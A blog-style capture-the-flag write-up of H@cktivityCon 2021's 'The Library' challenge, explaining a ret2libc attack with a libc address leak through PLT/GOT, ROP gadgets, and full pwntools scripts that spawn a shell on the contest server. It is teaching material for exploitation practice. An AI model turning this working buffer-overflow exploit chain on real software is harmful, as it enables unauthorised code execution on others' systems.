H@cktivityCon 2021 CTF : The Library (Ret2libc : ASLR bypass)

Hariharan@Blog:~$
8 min readSep 18, 2021

INTRODUCTION

First of all, I would like to thank John Hammond and his team for this amazing CTF. I learned a lot from this CTF and his videos were helpful while solving the challenges. This is another challenge where I stumbled a bit and learned something new. Though I have done some basic Ret2libc attacks before, I have never done a challenge where I had to leak the base address of Libc :). So for the newbies out there like me, First let’s get to know what a libc and ret2libc is.

The C standard library or Libc is the standard library for the C programming language . This is where we can access common functions used inside program such as system() , puts() , gets()

What is Ret2libc? A ret2libc (Return to Libc, or return to the C library) attack is one in which the attacker does not require any shellcode to take control of a target, vulnerable process.

I’ll explain the process while solving the challenge. Also for more understanding, see my basic Ret2libc writeup :)

https://corruptedprotocol.medium.com/elf-x86-stack-buffer-overflow-basic-6-rootme-app-system-introduction-to-ret2libc-83945accc435

WHAT WAS GIVEN ?

We had to download a binary and the Libc file itself (libc-2.31.so). So I clearly understood it was a ret2libc attack. I remember John Hammond having a video on the ret2libc attack which would come in handy.

CHALLENGE

First, we need to see what type of file the binary is and the memory protection in the binary.

We can see that the NX bit is enabled, so we cannot execute anything from the stack. Fortunately PIE is disabled in this bianry. So we can trust the values in the .plt and .got section. We will come to that later.

I used ghidra to see the decompiled version of the binary and did some variable renaming to make it a lot better to read.

To be honest, everything below gets() is just useless. The point to notice is the buffer length. So I used gdb-peda to find the value to buffer overflow and use the RIP/Return address.

We hit the Segmentation fault. Time to see overwritten pattern in RBP.

Using peda we find the occurrence of this pattern in the given input

So 544+8 = 552 Junk values are required to buffer overflow and reach the RIP/Return address. Next, we need to know the Libc base address to perform the Ret2libc attack. For this, we need to see the .plt and .got sections. Remember PIE was disabled? If PIE is enabled, the .plt and .got section would change their address every time we execute the binary.

WHAT IS THE DIFFERENCE BETWEEN GOT AND PLT ?

The Global Offset Table (or GOT) is a section inside of programs that holds addresses of functions that are dynamically linked

PLT stands for Procedure Linkage Table which is, put simply, used to call external procedures/functions whose address isn’t known in the time of linking, and is left to be resolved by the dynamic linker at run time.

The definitions are not enough and you need to know more about them to continue with the attack. I’ll try explaining this in short. We use functions like puts() , gets() , scanf() etc … in our program. But functions themselves have some inner definition to work properly. These are present in the Libc file. When we compile the binary, the Libc will get linked dynamically to this binary.

The first time these functions ( gets, scanf, etc…) are called in the program, there is an entry in PLT for this function. This is a pointer pointing to an address in GOT. GOT has the address pointing to the function directly in the Libc. So next time the function gets() or other functions is called, It doesn’t need to go into Libc for this , rather it will use the PLT to get the function address easily. This saves a lot of time!

I hope you understood this clearly. Moving on to the next part which is leaking the libc address with PLT and GOT.

LEAKING LIBC BASE ADDRESS

Here is the part I stumbled a bit. Apparently, it turned to be easy and doable on the first try. Now that we know GOT points to Libc addresses and we can use functions like puts() and scanf() directly by using the address at the PLT section, we slowly build our exploit. This is what we will be doing: Take input of any address in GOT. For example, we can take gets() at GOT.

To take this input, we use puts()@ PLT directly just like our program would do. This prints the leaked address of gets() in libc.

But calling the gets()@got is not something you can do directly in x86_64. We do have a calling conventions for this. The gets()@got address has to be loaded into the RDI register before puts() is called. For this, we need to use Ropgadget or Ropper to get “pop rdi”. We find one easily in our binary.

We are ready for the first part of the exploit. We just have to get the perfect address now.

To view any sections use the Program tress in ghidra.

Then try finding the puts() in .plt or .plt.sec section. Use the starting address.

Similarly find gets() in GOT.

Finally, after the gets() address is leaked, the binary doesn’t know where to return and this crashes our program. To stop this from happening we use the starting address of the main function as a return point. So after leaking address it will return to main().

Now that we have all the addresses, we can craft our exploit.I am using pwntools to make my life easier :)

from pwn import *overwrite = b"A"*552poprdi = p64(0x0000000000401493) #from ropgadget
gets_at_got = p64(0x00403fc8) # from GOT table
puts_at_plt = p64(0x004010e0) # from PLT section
safe_point_main = p64(0x004012a9)
payload = overwrite + poprdi + gets_at_got + puts_at_plt + safe_point_mainp = process("./the_library")p.recvuntil(b">")
p.sendline(payload)
leak = p.recvline()
log.info(f"{leak=}") # to see the leaked address
p.interactive()

I am using log.info to see the leaked address. Let’s execute this code and see what happens.

It is not aligned properly. Just add p.recvline() before “leak = p.recvline()” and run the code.

Now it is aligned and can be used in our code. But wait ? This is not readable, right? Making some changes to the code.

from pwn import *overwrite = b"A"*552poprdi = p64(0x0000000000401493)
gets_at_got = p64(0x00403fc8)
puts_at_plt = p64(0x004010e0)
safe_point_main = p64(0x004012a9)
payload = overwrite + poprdi + gets_at_got + puts_at_plt + safe_point_mainp = process("./the_library")p.recvuntil(b">")
p.sendline(payload)
p.recvline()
# made a change here
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
#added hex in log info
log.info(f"{hex(leak)=}")
p.interactive()

Now we can get the hex format! We have successfully leaked the address out of libc! Now to get the base address of libc we could just subtract the gets() with the leaked address.

libc_base = leak - libc.sym["gets"] 

And there we go! we have our base address too! We further move to the final part of the exploit.

FINAL EXPLOIT

We just have to call the system and (/bin/sh) as a parameter. For this, we use the calling convention pop rdi to load /bin/sh into rdi before calling the system().

Now, we need to find system and /bin/sh in libc. Using pwntools it is easy to find

system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

This will have the address to system and /bin/sh respectively. To finish the exploit we need to know one more thing. This is the problem in the ret2libc attack regarding the aligning.

https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call

Giving it a read will tell about the problem and how to fix it . Just “add ret after overwrite” . We use ROPgadget to find the gadget for ret alone.

Finally, we write our exploit

from pwn import *p = remote("challenge.ctf.games", 31125)overwrite = b"A"*552 #linking the libc to make it easier
libc = ELF("libc-2.31.so")
ret = p64(0x000000000040101a)poprdi = p64(0x0000000000401493)
gets_at_got = p64(0x00403fc8)
puts_at_plt = p64(0x004010e0)
safe_point_main = p64(0x004012a9)
payload1 = overwrite + poprdi + gets_at_got + puts_at_plt + safe_point_mainp.recvuntil(b">")
p.sendline(payload1)
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"{hex(leak)=}")
libc_base = leak - libc.sym["gets"]
#print(hex(libc_base))
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload2 = overwrite + ret + poprdi + p64(bin_sh) + p64(system)p.sendline(payload2)
p.interactive()

Running this exploit will pop you the shell! I hope you understood the last part clearly. if you have doubts regarding the pwntools lib, refer to the docs.

Finally we popped the shell and got our flag.

Hope you understood the challenge. Do check out my other blogs.

Don’t forget to give some claps if you reached here :) Follow me for more write-ups.

Goodbye:)

--

--